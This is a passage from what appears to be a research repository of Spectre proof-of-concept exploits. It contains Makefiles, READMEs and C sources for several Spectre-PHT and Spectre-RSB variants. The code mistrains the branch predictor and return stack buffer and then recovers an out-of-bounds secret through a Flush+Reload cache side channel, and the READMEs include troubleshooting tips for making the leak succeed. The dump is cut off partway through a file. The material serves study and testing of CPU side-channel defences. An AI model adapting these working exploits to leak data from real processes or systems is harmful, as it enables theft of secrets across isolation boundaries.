| ## How it works 22 | 23 | The array `data` stores some accessible data (defined in `DATA`) followed by some inaccessible data (defined in `SECRET`). The `access_array` function takes an index to the array and checks whether it accesses the "accessible" part of the array. 24 | If so, it encodes the value at the given index in the cache (cf. Spectre or Meltdown attack). If this bound check is mistrained often enough, the CPU (speculatively) executes the code inside the condition also for invalid indices (i.e., indices out of bounds). 25 | 26 | The longer the condition takes to resolve, the higher the probability that the CPU (mis)speculates. Thus, the length check is written as division (which is usually a slow operation). 27 | 28 | ``` 29 | x < len <=> x / len < 1 30 | ``` 31 | (assuming both the length of the data as well as the index to the array are positive) 32 | 33 | For the out-of-place mistraining of the Pattern History Table (PHT) that is responsible for the prediction we simply fill a large chunk of memory with a jump if equal follwing a comparison. We do this as we do not know the exact bits that are used for indexing the PHT. 34 | In this version, we also fork and to the mistraining in one process while the other process performs the out-of-bounds access and recovering of the data. 35 | 36 | 37 | ## Troubleshooting 38 | 39 | * The output is garbage (mostly just "AAAAAAAAAA...") 40 | + **Solution #1:** Manually set the variable `CACHE_MISS` in main.c to a threshold which allows distinguishing cache hits from misses. 41 | + **Solution #2 (ARM only):** Try a different method to measure time: Change the ARM_CLOCK_SOURCE in libcache/cache.h to ARM_PERF, ARM_CLOCK_MONOTONIC, or ARM_TIMER. 42 | 43 | * The program appears to hang in "Leak secret..." 44 | + **Solution #1:** Pin the program to one CPU core: `taskset 0x2 ./poc_arm`. Try different cores. 45 | + **Solution #2:** Cause a lot of interrupts by running e.g. `stress -i 1 -d 1`. This can be combined with Solution #1". 46 | + **Solution #3:** Manually set the variable `CACHE_MISS` in main.c to a threshold which allows distinguishing cache hits from misses. 47 | + **Solution #4 (ARM only):** Try a different method to measure time: Change the ARM_CLOCK_SOURCE in libcache/cache.h to ARM_PERF, ARM_CLOCK_MONOTONIC, or ARM_TIMER. 48 | + **Solution #5:** This PoC depends on the code the compiler emits. Try inverting the JE macro or the if-statement in the mistraining function 49 | -------------------------------------------------------------------------------- /pocs/spectre/PHT/ca_oop/main.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include 7 | 8 | #include "../../../libcache/cacheutils.h" 9 | 10 | // accessible data 11 | #define DATA "data|" 12 | // inaccessible secret (following accessible data) 13 | #define SECRET "INACCESSIBLE SECRET" 14 | 15 | #define likely(x) __builtin_expect((x),1) 16 | #define unlikely(x) __builtin_expect((x),0) 17 | 18 | 19 | #define DATA_SECRET DATA SECRET 20 | 21 | unsigned char data[128]; 22 | 23 | char access_array(int x) { 24 | // flushing the data which is used in the condition increases 25 | // probability of speculation 26 | size_t len = sizeof(DATA) - 1; 27 | mfence(); 28 | flush(&len); 29 | flush(&x); 30 | 31 | // ensure data is flushed at this point 32 | mfence(); 33 | 34 | // check that only accessible part (DATA) can be accessed 35 | if (unlikely((float)x / (float)len < 1)) { 36 | // countermeasure: add the fence here 37 | cache_encode(data[x]); 38 | } 39 | } 40 | 41 | volatile int true = 1; 42 | 43 | // Span a large part of memory with jumps if equal 44 | #if defined(__i386__) || defined(__x86_64__) 45 | #define JE asm volatile("je end"); 46 | #else 47 | #define JE asm volatile("beq end"); 48 | #endif 49 | #define JE_16 JE JE JE JE JE JE JE JE JE JE JE JE JE JE JE JE 50 | #define JE_256 JE_16 JE_16 JE_16 JE_16 JE_16 JE_16 JE_16 JE_16 JE_16 JE_16 JE_16 JE_16 JE_16 JE_16 JE_16 JE_16 51 | #define JE_4K JE_256 JE_256 JE_256 JE_256 JE_256 JE_256 JE_256 JE_256 JE_256 JE_256 JE_256 JE_256 JE_256 JE_256 JE_256 JE_256 52 | #define JE_64K JE_4K JE_4K JE_4K JE_4K JE_4K JE_4K JE_4K JE_4K JE_4K JE_4K JE_4K JE_4K JE_4K JE_4K JE_4K JE_4K 53 | 54 | void oop() { 55 | if(!true) true++; 56 | JE_64K 57 | 58 | end: 59 | return; 60 | } 61 | 62 | int main(int argc, const char **argv) { 63 | pagesize = sysconf(_SC_PAGESIZE); 64 | // Detect cache threshold 65 | if(!CACHE_MISS) 66 | CACHE_MISS = detect_flush_reload_threshold(); 67 | printf("[\x1b[33m*\x1b[0m] Flush+Reload Threshold: \x1b[33m%zd\x1b[0m\n", CACHE_MISS); 68 | 69 | char *_mem = malloc(4096 * (256 + 4)); 70 | // page aligned 71 | mem = (char *)(((size_t)_mem & ~(pagesize - 1)) + pagesize * 2); 72 | pid_t pid = fork(); 73 | // initialize memory 74 | memset(mem, pid, pagesize * 256); 75 | 76 | // store secret 77 | memset(data, ' ', sizeof(data)); 78 | memcpy(data, DATA_SECRET, sizeof(DATA_SECRET)); 79 | // ensure data terminates 80 | data[sizeof(data) / sizeof(data[0]) - 1] = '0'; 81 | 82 | // flush our shared memory 83 | flush_shared_memory(); 84 | 85 | // nothing leaked so far 86 | char leaked[sizeof(DATA_SECRET) + 1]; 87 | memset(leaked, ' ', sizeof(leaked)); 88 | leaked[sizeof(DATA_SECRET)] = 0; 89 | 90 | int j = 0; 91 | while (1) { 92 | // for every byte in the string 93 | j = (j + 1) % sizeof(DATA_SECRET); 94 | 95 | // mistrain out of place 96 | if(pid == 0) { 97 | for(int y = 0; y < 100; y++) { 98 | oop(); 99 | } 100 | } 101 | else { 102 | // only show inaccessible values (SECRET) 103 | if(j >= sizeof(DATA) - 1) { 104 | mfence(); // avoid speculation 105 | // out of bounds access 106 | access_array(j); 107 | // Recover data from covert channel 108 | cache_decode_pretty(leaked, j); 109 | } 110 | 111 | if(!strncmp(leaked + sizeof(DATA) - 1, SECRET, sizeof(SECRET) - 1)) 112 | break; 113 | 114 | sched_yield(); 115 | } 116 | } 117 | printf("\n\x1b[1A[ ]\n\n[\x1b[32m>\x1b[0m] Done\n"); 118 | 119 | return 0; 120 | } 121 | -------------------------------------------------------------------------------- /pocs/spectre/PHT/sa_ip/Makefile: -------------------------------------------------------------------------------- 1 | all: x86 2 | 3 | x86: main_x86 4 | arm: main_arm 5 | 6 | main_x86: main.c 7 | gcc main.c -o poc_x86 -Os -I../../../ 8 | 9 | main_arm: main.c 10 | aarch64-linux-gnu-gcc -march=armv8-a -D__ARM_ARCH_8A__ -static -Os main.c -o poc_arm -I../../../ 11 | 12 | clean: 13 | rm -f poc_* 14 | -------------------------------------------------------------------------------- /pocs/spectre/PHT/sa_ip/README.md: -------------------------------------------------------------------------------- 1 | # Spectre-PHT PoC 2 | 3 | This folder contains a Spectre-PHT proof-of-concept implementation for x86_64 and ARMv8. 4 | 5 | ## Compile 6 | 7 | Compile using `make x86` for the x86_64 version or `make arm` for the ARMv8 version. 8 | 9 | ## Run 10 | 11 | Run with `./poc_x86` or `./poc_arm` for x86_64 or ARMv8 respectively. 12 | 13 | The expected output is 14 | ``` 15 | [*] Flush+Reload Threshold: 180 16 | [ ] INACCESSIBLE SECRET 17 | 18 | [>] Done 19 | ``` 20 | 21 | ## How it works 22 | 23 | The array `data` stores some accessible data (defined in `DATA`) followed by some inaccessible data (defined in `SECRET`). The `access_array` function takes an index to the array and checks whether it accesses the "accessible" part of the array. 24 | If so, it encodes the value at the given index in the cache (cf. Spectre or Meltdown attack). If this bound check is mistrained often enough, the CPU (speculatively) executes the code inside the condition also for invalid indices (i.e., indices out of bounds). 25 | 26 | The longer the condition takes to resolve, the higher the probability that the CPU (mis)speculates. Thus, the length check is written as division (which is usually a slow operation). 27 | ``` 28 | x < len <=> x / len < 1 29 | ``` 30 | (assuming both the length of the data as well as the index to the array are positive) 31 | 32 | ## Troubleshooting 33 | 34 | * The output is garbage (mostly just "AAAAAAAAAA...") 35 | + **Solution #1:** Manually set the variable `CACHE_MISS` in main.c to a threshold which allows distinguishing cache hits from misses. 36 | + **Solution #2 (ARM only):** Try a different method to measure time: Change the ARM_CLOCK_SOURCE in libcache/cache.h to ARM_PERF, ARM_CLOCK_MONOTONIC, or ARM_TIMER. 37 | 38 | * The program appears to hang in "Leak secret..." 39 | + **Solution #1:** Pin the program to one CPU core: `taskset 0x2 ./poc_arm`. Try different cores. 40 | + **Solution #2:** Cause a lot of interrupts by running e.g. `stress -i 1 -d 1`. This can be combined with Solution #1". 41 | + **Solution #3:** Manually set the variable `CACHE_MISS` in main.c to a threshold which allows distinguishing cache hits from misses. 42 | + **Solution #4 (ARM only):** Try a different method to measure time: Change the ARM_CLOCK_SOURCE in libcache/cache.h to ARM_PERF, ARM_CLOCK_MONOTONIC, or ARM_TIMER. 43 | -------------------------------------------------------------------------------- /pocs/spectre/PHT/sa_ip/main.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include 7 | 8 | #include "../../../libcache/cacheutils.h" 9 | 10 | // accessible data 11 | #define DATA "data|" 12 | // inaccessible secret (following accessible data) 13 | #define SECRET "INACCESSIBLE SECRET" 14 | 15 | #define DATA_SECRET DATA SECRET 16 | 17 | unsigned char data[128]; 18 | 19 | char access_array(int x) { 20 | // flushing the data which is used in the condition increases 21 | // probability of speculation 22 | size_t len = sizeof(DATA) - 1; 23 | mfence(); 24 | flush(&len); 25 | flush(&x); 26 | 27 | // ensure data is flushed at this point 28 | mfence(); 29 | 30 | // check that only accessible part (DATA) can be accessed 31 | if((float)x / (float)len < 1) { 32 | // countermeasure: add the fence here 33 | // Encode in cache 34 | cache_encode(data[x]); 35 | } 36 | } 37 | 38 | int main(int argc, const char **argv) { 39 | pagesize = sysconf(_SC_PAGESIZE); 40 | // Detect cache threshold 41 | if(!CACHE_MISS) 42 | CACHE_MISS = detect_flush_reload_threshold(); 43 | printf("[\x1b[33m*\x1b[0m] Flush+Reload Threshold: \x1b[33m%zd\x1b[0m\n", CACHE_MISS); 44 | 45 | char *_mem = malloc(pagesize * (256 + 4)); 46 | // page aligned 47 | mem = (char *)(((size_t)_mem & ~(pagesize-1)) + pagesize * 2); 48 | // initialize memory 49 | memset(mem, 0, pagesize * 256); 50 | 51 | // store secret 52 | memset(data, ' ', sizeof(data)); 53 | memcpy(data, DATA_SECRET, sizeof(DATA_SECRET)); 54 | // ensure data terminates 55 | data[sizeof(data) / sizeof(data[0]) - 1] = '0'; 56 | 57 | // flush our shared memory 58 | flush_shared_memory(); 59 | 60 | // nothing leaked so far 61 | char leaked[sizeof(DATA_SECRET) + 1]; 62 | memset(leaked, ' ', sizeof(leaked)); 63 | leaked[sizeof(DATA_SECRET)] = 0; 64 | 65 | int j = 0; 66 | while (1) { 67 | // for every byte in the string 68 | j = (j + 1) % sizeof(DATA_SECRET); 69 | 70 | // mistrain with valid index 71 | for(int y = 0; y < 10; y++) { 72 | access_array(0); 73 | } 74 | // potential out-of-bounds access 75 | access_array(j); 76 | 77 | // only show inaccessible values (SECRET) 78 | if(j >= sizeof(DATA) - 1) { 79 | mfence(); // avoid speculation 80 | // Recover data from covert channel 81 | cache_decode_pretty(leaked, j); 82 | } 83 | 84 | if(!strncmp(leaked + sizeof(DATA) - 1, SECRET, sizeof(SECRET) - 1)) 85 | break; 86 | 87 | sched_yield(); 88 | } 89 | printf("\n\x1b[1A[ ]\n\n[\x1b[32m>\x1b[0m] Done\n"); 90 | 91 | return (0); 92 | } 93 | -------------------------------------------------------------------------------- /pocs/spectre/PHT/sa_oop/Makefile: -------------------------------------------------------------------------------- 1 | all: x86 2 | 3 | x86: main_x86 4 | arm: main_arm 5 | 6 | main_x86: main.c 7 | gcc main.c -o poc_x86 -Os -I../../../ 8 | 9 | main_arm: main.c 10 | aarch64-linux-gnu-gcc -march=armv8-a -D__ARM_ARCH_8A__ -static -Os main.c -o poc_arm -I../../../ 11 | 12 | clean: 13 | rm -f poc_* 14 | -------------------------------------------------------------------------------- /pocs/spectre/PHT/sa_oop/README.md: -------------------------------------------------------------------------------- 1 | # Spectre-PHT PoC 2 | 3 | This folder contains a Spectre-PHT proof-of-concept implementation for x86_64 and ARMv8. 4 | 5 | ## Compile 6 | 7 | Compile using `make x86` for the x86_64 version or `make arm` for the ARMv8 version. 8 | 9 | ## Run 10 | 11 | Run with `./poc_x86` or `./poc_arm` for x86_64 or ARMv8 respectively. 12 | 13 | The expected output is 14 | ``` 15 | [*] Flush+Reload Threshold: 180 16 | [ ] INACCESSIBLE SECRET 17 | 18 | [>] Done 19 | ``` 20 | 21 | ## How it works 22 | 23 | The array `data` stores some accessible data (defined in `DATA`) followed by some inaccessible data (defined in `SECRET`). The `access_array` function takes an index to the array and checks whether it accesses the "accessible" part of the array. 24 | If so, it encodes the value at the given index in the cache (cf. Spectre or Meltdown attack). If this bound check is mistrained often enough, the CPU (speculatively) executes the code inside the condition also for invalid indices (i.e., indices out of bounds). 25 | 26 | The longer the condition takes to resolve, the higher the probability that the CPU (mis)speculates. Thus, the length check is written as division (which is usually a slow operation). 27 | 28 | For the out-of-place mistraining of the Pattern History Table (PHT) that is responsible for the prediction we simply fill a large chunk of memory with a jump if equal follwing a comparison. We do this as we do not know the exact bits that are used for indexing the PHT. 29 | ``` 30 | x < len <=> x / len < 1 31 | ``` 32 | (assuming both the length of the data as well as the index to the array are positive) 33 | 34 | ## Troubleshooting 35 | 36 | * The output is garbage (mostly just "AAAAAAAAAA...") 37 | + **Solution #1:** Manually set the variable `CACHE_MISS` in main.c to a threshold which allows distinguishing cache hits from misses. 38 | + **Solution #2 (ARM only):** Try a different method to measure time: Change the ARM_CLOCK_SOURCE in libcache/cache.h to ARM_PERF, ARM_CLOCK_MONOTONIC, or ARM_TIMER. 39 | 40 | * The program appears to hang in "Leak secret..." 41 | + **Solution #1:** Pin the program to one CPU core: `taskset 0x2 ./poc_arm`. Try different cores. 42 | + **Solution #2:** Cause a lot of interrupts by running e.g. `stress -i 1 -d 1`. This can be combined with Solution #1". 43 | + **Solution #3:** Manually set the variable `CACHE_MISS` in main.c to a threshold which allows distinguishing cache hits from misses. 44 | + **Solution #4 (ARM only):** Try a different method to measure time: Change the ARM_CLOCK_SOURCE in libcache/cache.h to ARM_PERF, ARM_CLOCK_MONOTONIC, or ARM_TIMER. 45 | + **Solution #5:** This PoC depends on the code the compiler emits. Try inverting the JE macro or the if-statement in the mistraining function 46 | -------------------------------------------------------------------------------- /pocs/spectre/PHT/sa_oop/main.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include 7 | 8 | #include "../../../libcache/cacheutils.h" 9 | 10 | // accessible data 11 | #define DATA "data|" 12 | // inaccessible secret (following accessible data) 13 | #define SECRET "INACCESSIBLE SECRET" 14 | 15 | #define likely(x) __builtin_expect((x),1) 16 | #define unlikely(x) __builtin_expect((x),0) 17 | 18 | #define DATA_SECRET DATA SECRET 19 | 20 | unsigned char data[128]; 21 | 22 | char access_array(int x) { 23 | // flushing the data which is used in the condition increases 24 | // probability of speculation 25 | size_t len = sizeof(DATA) - 1; 26 | mfence(); 27 | flush(&len); 28 | flush(&x); 29 | 30 | // ensure data is flushed at this point 31 | mfence(); 32 | 33 | // check that only accessible part (DATA) can be accessed 34 | if(unlikely((float)x / (float)len < 1)) { 35 | // countermeasure: add the fence here 36 | // Encode data in cache 37 | cache_encode(data[x]); 38 | } 39 | } 40 | 41 | volatile int true = 1; 42 | 43 | // Span large part of memory with jump if equal 44 | #if defined(__i386__) || defined(__x86_64__) 45 | #define JE asm volatile("je end"); 46 | #elif defined(__aarch64__) 47 | #define JE asm volatile("beq end"); 48 | #endif 49 | #define JE_16 JE JE JE JE JE JE JE JE JE JE JE JE JE JE JE JE 50 | #define JE_256 JE_16 JE_16 JE_16 JE_16 JE_16 JE_16 JE_16 JE_16 JE_16 JE_16 JE_16 JE_16 JE_16 JE_16 JE_16 JE_16 51 | #define JE_4K JE_256 JE_256 JE_256 JE_256 JE_256 JE_256 JE_256 JE_256 JE_256 JE_256 JE_256 JE_256 JE_256 JE_256 JE_256 JE_256 52 | #define JE_64K JE_4K JE_4K JE_4K JE_4K JE_4K JE_4K JE_4K JE_4K JE_4K JE_4K JE_4K JE_4K JE_4K JE_4K JE_4K JE_4K 53 | 54 | void oop() { 55 | #if defined(__i386__) || defined(__x86_64__) 56 | if(!true) true++; 57 | #elif defined(__aarch64__) 58 | if(true) true++; 59 | #endif 60 | JE_64K 61 | 62 | end: 63 | return; 64 | } 65 | 66 | int main(int argc, const char **argv) { 67 | pagesize = sysconf(_SC_PAGESIZE); 68 | // Detect cache threshold 69 | if(!CACHE_MISS) 70 | CACHE_MISS = detect_flush_reload_threshold(); 71 | printf("[\x1b[33m*\x1b[0m] Flush+Reload Threshold: \x1b[33m%zd\x1b[0m\n", CACHE_MISS); 72 | 73 | char *_mem = malloc(pagesize * (256 + 4)); 74 | // page aligned 75 | mem = (char *)(((size_t)_mem & ~(pagesize - 1)) + pagesize * 2); 76 | // initialize memory 77 | memset(mem, 0, pagesize * 256); 78 | 79 | // store secret 80 | memset(data, ' ', sizeof(data)); 81 | memcpy(data, DATA_SECRET, sizeof(DATA_SECRET)); 82 | // ensure data terminates 83 | data[sizeof(data) / sizeof(data[0]) - 1] = '0'; 84 | 85 | // flush everything 86 | flush_shared_memory(); 87 | 88 | // nothing leaked so far 89 | char leaked[sizeof(DATA_SECRET) + 1]; 90 | memset(leaked, ' ', sizeof(leaked)); 91 | leaked[sizeof(DATA_SECRET)] = 0; 92 | 93 | int j = 0; 94 | while(1) { 95 | // for every byte in the string 96 | j = (j + 1) % sizeof(DATA_SECRET); 97 | 98 | // mistrain out of place 99 | for(int y = 0; y < 100; y++) { 100 | oop(); 101 | } 102 | 103 | // only show inaccessible values (SECRET) 104 | if(j >= sizeof(DATA) - 1) { 105 | mfence(); // avoid speculation 106 | // out of bounds access 107 | access_array(j); 108 | // Recover data from covert channel 109 | cache_decode_pretty(leaked, j); 110 | } 111 | 112 | if(!strncmp(leaked + sizeof(DATA) - 1, SECRET, sizeof(SECRET) - 1)) 113 | break; 114 | 115 | sched_yield(); 116 | } 117 | printf("\n\x1b[1A[ ]\n\n[\x1b[32m>\x1b[0m] Done\n"); 118 | 119 | return 0; 120 | } 121 | -------------------------------------------------------------------------------- /pocs/spectre/RSB/ca_ip/Makefile: -------------------------------------------------------------------------------- 1 | all: x86 2 | 3 | x86: main_x86 4 | arm: main_arm 5 | 6 | main_x86: main.c 7 | gcc main.c -o poc_x86 -Os -I../../../ 8 | 9 | main_arm: main.c 10 | aarch64-linux-gnu-gcc -march=armv8-a -D__ARM_ARCH_8A__ -static -Os main.c -o poc_arm -I../../../ 11 | 12 | clean: 13 | rm -f poc_* 14 | -------------------------------------------------------------------------------- /pocs/spectre/RSB/ca_ip/README.md: -------------------------------------------------------------------------------- 1 | # Spectre-RSB PoC 2 | 3 | This folder contains a Spectre RSB proof-of-concept implementation for x86_64 and ARMv8. 4 | 5 | ## Compile 6 | 7 | Compile using `make x86` for the x86_64 version, or `make arm` for the ARMv8 version. 8 | 9 | ## Run 10 | 11 | Run with `./poc_x86` or `./poc_arm` for x86_64 or ARMv8 respectively. 12 | 13 | The expected output is 14 | ``` 15 | S S S S S S S S S S 16 | ``` 17 | 18 | ## How it works 19 | 20 | In this PoC, both attacker and victim call the function `in_place` and areb put to sleep for different amount of time. With the call to `in_place` both the attacker and victim push their return address on the RSB. When the victim wakes up first it returns and pops the last address from the RSB. This causes it to misspeculate to the return address of the attacker where the secret data is leaked. 21 | 22 | This PoC works as the RSB is not flushed on a context switch and therefore the value pushed by another process are used by another one. The RSB is not shared among hyperthreads, so both attacker and victim must run on the same logical core. 23 | 24 | ## Troubleshooting 25 | 26 | * The output is garbage (mostly just "AAAAAAAAAA...") 27 | + **Solution #1:** Manually set the variable `CACHE_MISS` in main.c to a threshold which allows distinguishing cache hits from misses. 28 | + **Solution #2 (ARM only):** Try a different method to measure time: Change the ARM_CLOCK_SOURCE in libcache/cache.h to ARM_PERF, ARM_CLOCK_MONOTONIC, or ARM_TIMER. 29 | 30 | * The program appears to hang 31 | + **Solution #1:** Pin the program to one CPU core: `taskset 0x2 ./poc_arm`. Try different cores. 32 | + **Solution #2:** Cause a lot of interrupts by running e.g. `stress -i 1 -d 1`. This can be combined with Solution #1". 33 | + **Solution #3:** Manually set the variable `CACHE_MISS` in main.c to a threshold which allows distinguishing cache hits from misses. 34 | + **Solution #4 (ARM only):** Try a different method to measure time: Change the ARM_CLOCK_SOURCE in libcache/cache.h to ARM_PERF, ARM_CLOCK_MONOTONIC, or ARM_TIMER. 35 | -------------------------------------------------------------------------------- /pocs/spectre/RSB/ca_ip/main.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include 7 | #include 8 | 9 | #include "libcache/cacheutils.h" 10 | 11 | #define SECRET 'S' 12 | 13 | char secret; 14 | pid_t is_child; 15 | 16 | void __attribute__((noinline)) in_place() { 17 | // We let the child (victim) sleep for a shorter period of time 18 | // Therefore, the victim should pop the attackers return address from the RSB 19 | if(is_child) 20 | usleep(500); 21 | else 22 | usleep(50); 23 | return; 24 | } 25 | 26 | void __attribute__((noinline)) attacker() { 27 | while(1) { 28 | in_place(); 29 | // Encode data in cache 30 | // Victim is supposed to return 31 | cache_encode(secret); 32 | } 33 | return; 34 | } 35 | 36 | void __attribute__((noinline)) victim() { 37 | while(1) { 38 | // Flush our shared memory 39 | flush_shared_memory(); 40 | mfence(); 41 | 42 | // Put to sleep and return transiently to wrong address before returning here 43 | in_place(); 44 | 45 | // Recover data from the covert channel 46 | for(int i = 0; i < 256; i++) { 47 | int mix_i = ((i * 167) + 13) & 255; 48 | if(flush_reload(mem + mix_i * pagesize)) { 49 | if(mix_i != '.') { 50 | printf("%c ", mix_i); 51 | fflush(stdout); 52 | } 53 | } 54 | } 55 | } 56 | } 57 | 58 | int main(int argc, char **argv) { 59 | // Detect cache threshold 60 | if (!CACHE_MISS) 61 | CACHE_MISS = detect_flush_reload_threshold(); 62 | printf("[\x1b[33m*\x1b[0m] Flush+Reload Threshold: \x1b[33m%zd\x1b[0m\n", CACHE_MISS); 63 | 64 | pagesize = sysconf(_SC_PAGESIZE); 65 | char *_mem = malloc(pagesize * (256 + 4)); 66 | mem = (char *)(((size_t)_mem & ~(pagesize-1)) + pagesize * 2); 67 | memset(mem, 0, pagesize * 256); 68 | 69 | // OOP attack, so fork 70 | is_child = fork() == 0; 71 | 72 | // Attacker always encodes a dot in the cache 73 | if(is_child) { 74 | secret = '.'; 75 | attacker(); 76 | } else { 77 | secret = SECRET; 78 | victim(); 79 | } 80 | } 81 | -------------------------------------------------------------------------------- /pocs/spectre/RSB/ca_oop/Makefile: -------------------------------------------------------------------------------- 1 | all: x86 2 | 3 | x86: main_x86 4 | arm: main_arm 5 | 6 | main_x86: main.c 7 | gcc main.c -o poc_x86 -Os -I../../../ 8 | 9 | main_arm: main.c 10 | aarch64-linux-gnu-gcc -march=armv8-a -D__ARM_ARCH_8A__ -static -Os main.c -o poc_arm -I../../../ 11 | 12 | clean: 13 | rm -f poc_* 14 | -------------------------------------------------------------------------------- /pocs/spectre/RSB/ca_oop/README.md: -------------------------------------------------------------------------------- 1 | # Spectre-RSB PoC 2 | 3 | This folder contains a Spectre-RSB proof-of-concept implementation for x86_64 and ARMv8. 4 | 5 | ## Compile 6 | 7 | Compile using `make x86` for the x86_64 version, or `make arm` for the ARMv8 version. 8 | 9 | ## Run 10 | 11 | Run with `./poc_x86` or `./poc_arm` for x86_64 or ARMv8 respectively. 12 | 13 | The expected output is 14 | ``` 15 | S S S S S S S S S S S S S S S S S S 16 | ``` 17 | 18 | ## How it works 19 | 20 | In this PoC, the victim constantly calls the function `wrong_return` and is put to sleep while the attacker (in his own process) manipulates the software stack by destroying the return address. Important is that the attacker does this in a function which is called so that the return address is pushed on the RSB. The attacker then returns from the function with an ordinary jump instead of a return so that the value is not popped from the RSB. When the victim wakes up it will return to the wrong location and leaks the secret data. 21 | 22 | ## Troubleshooting 23 | 24 | * The output is garbage (mostly just "AAAAAAAAAA...") 25 | + **Solution #1:** Manually set the variable `CACHE_MISS` in main.c to a threshold which allows distinguishing cache hits from misses. 26 | + **Solution #2 (ARM only):** Try a different method to measure time: Change the ARM_CLOCK_SOURCE in libcache/cache.h to ARM_PERF, ARM_CLOCK_MONOTONIC, or ARM_TIMER. 27 | 28 | * The program appears to hang 29 | + **Solution #1:** Pin the program to one CPU core: `taskset 0x2 ./poc_arm`. Try different cores. 30 | + **Solution #2:** Cause a lot of interrupts by running e.g. `stress -i 1 -d 1`. This can be combined with Solution #1". 31 | + **Solution #3:** Manually set the variable `CACHE_MISS` in main.c to a threshold which allows distinguishing cache hits from misses. 32 | + **Solution #4 (ARM only):** Try a different method to measure time: Change the ARM_CLOCK_SOURCE in libcache/cache.h to ARM_PERF, ARM_CLOCK_MONOTONIC, or ARM_TIMER. 33 | -------------------------------------------------------------------------------- /pocs/spectre/RSB/ca_oop/main.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include 7 | #include 8 | 9 | #include "libcache/cacheutils.h" 10 | 11 | #define SECRET 'S' 12 | 13 | char secret; 14 | 15 | // Put to sleep for a long period of time 16 | void __attribute__((noinline)) wrong_return() { 17 | usleep(100000); 18 | return; 19 | } 20 | 21 | // Pop the return address from the software stack, causing misspeculation 22 | void __attribute__((noinline)) pollute_rsb() { 23 | #if defined(__i386__) || defined(__x86_64__) 24 | asm volatile("pop %%rax\n" : : : "rax"); 25 | asm("jmp return_label"); 26 | #elif defined(__aarch64__) 27 | asm volatile("ldp x29, x30, [sp],#16\n" : : : "x29"); 28 | asm("b return_label"); 29 | #endif 30 | } 31 | 32 | int main(int argc, char **argv) { 33 | // Detect cache threshold 34 | if(!CACHE_MISS) 35 | CACHE_MISS = detect_flush_reload_threshold(); 36 | printf("[\x1b[33m*\x1b[0m] Flush+Reload Threshold: \x1b[33m%zd\x1b[0m\n", CACHE_MISS); 37 | 38 | pagesize = sysconf(_SC_PAGESIZE); 39 | char *_mem = malloc(pagesize * (256 + 4)); 40 | mem = (char *)(((size_t)_mem & ~(pagesize-1)) + pagesize * 2); 41 | memset(mem, 0, pagesize * 256); 42 | 43 | // OOP attack, so fork 44 | pid_t is_child = fork() == 0; 45 | 46 | // Attacker always encodes a dot in the cache 47 | if(is_child) 48 | secret = '.'; 49 | else 50 | secret = SECRET; 51 | 52 | // Attacker destroys the software stack return address, causing misspeculation 53 | if(is_child) { 54 | while (1) { 55 | // required so that we don't return from our pollute_rsb function, never popping it from the RSB 56 | asm("return_label:"); 57 | pollute_rsb(); 58 | // no real execution of this maccess, so we normally should never have cache hits 59 | // Victim is transiently misdirected here 60 | cache_encode(secret); 61 | maccess(0); 62 | } 63 | } else { 64 | while(1) { 65 | // Flush shared memory 66 | flush_shared_memory(); 67 | mfence(); 68 | // Call function and transiently return to wrong location before coming back here 69 | wrong_return(); 70 | 71 | // Recover data from covert channel 72 | for (int i = 0; i < 256; i++) { 73 | // flush and reload 74 | if (flush_reload(mem + i * pagesize)) { 75 | printf("%c ", i); 76 | fflush(stdout); 77 | } 78 | } 79 | sched_yield(); 80 | } 81 | } 82 | } 83 | -------------------------------------------------------------------------------- /pocs/spectre/RSB/sa_ip/Makefile: -------------------------------------------------------------------------------- 1 | all: x86 2 | 3 | x86: main_x86 4 | arm: main_arm 5 | 6 | main_x86: main.c 7 | gcc main.c -o poc_x86 -Os -I../../../ -lpthread 8 | 9 | main_arm: main.c 10 | aarch64-linux-gnu-gcc -march=armv8-a -D__ARM_ARCH_8A__ -static -Os main.c -o poc_arm -I../../../ -lpthread 11 | 12 | clean: 13 | rm -f poc_* 14 | -------------------------------------------------------------------------------- /pocs/spectre/RSB/sa_ip/README.md: -------------------------------------------------------------------------------- 1 | # Spectre-RSB PoC 2 | 3 | This folder contains a Spectre RSB proof-of-concept implementation for x86_64 and ARMv8. 4 | 5 | ## Compile 6 | 7 | Compile using `make x86` for the x86_64 version, or `make arm` for the ARMv8 version. 8 | 9 | ## Run 10 | 11 | Run with `./poc_x86` or `./poc_arm` for x86_64 or ARMv8 respectively. 12 | 13 | The expected output is 14 | ``` 15 | S S S S S S S S S S S S S S S S S S S S S 16 | ``` 17 | 18 | ## How it works 19 | 20 | In this PoC, both attacker and victim write a value to a register and call the function `in_place`. This function retrieves the value from the register and uses it as input to the function `usleep`. With the call to `in_place` both the attacker and victim push their return address on the RSB. When the victim wakes up first it returns and pops the last address from the RSB. This causes it to misspeculate to the return address of the attacker where the secret data is leaked. 21 | 22 | ## Troubleshooting 23 | 24 | * The output is garbage (mostly just "AAAAAAAAAA...") 25 | + **Solution #1:** Manually set the variable `CACHE_MISS` in main.c to a threshold which allows distinguishing cache hits from misses. 26 | + **Solution #2 (ARM only):** Try a different method to measure time: Change the ARM_CLOCK_SOURCE in libcache/cache.h to ARM_PERF, ARM_CLOCK_MONOTONIC, or ARM_TIMER. 27 | 28 | * The program appears to hang 29 | + **Solution #1:** Pin the program to one CPU core: `taskset 0x2 ./poc_arm`. Try different cores. 30 | + **Solution #2:** Cause a lot of interrupts by running e.g. `stress -i 1 -d 1`. This can be combined with Solution #1". 31 | + **Solution #3:** Manually set the variable `CACHE_MISS` in main.c to a threshold which allows distinguishing cache hits from misses. 32 | + **Solution #4 (ARM only):** Try a different method to measure time: Change the ARM_CLOCK_SOURCE in libcache/cache.h to ARM_PERF, ARM_CLOCK_MONOTONIC, or ARM_TIMER. 33 | -------------------------------------------------------------------------------- /pocs/spectre/RSB/sa_ip/main.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include 6 | 7 | #include "libcache/cacheutils.h" 8 | 9 | // Sleep for an predetermined amount of time specified in register r14 10 | void __attribute__((noinline)) in_place() { 11 | size_t time = 0; 12 | asm volatile("movq %%r14, %0\n\t" : "=r"(time)); 13 | 14 | usleep(time); 15 | return; 16 | } 17 | 18 | void* 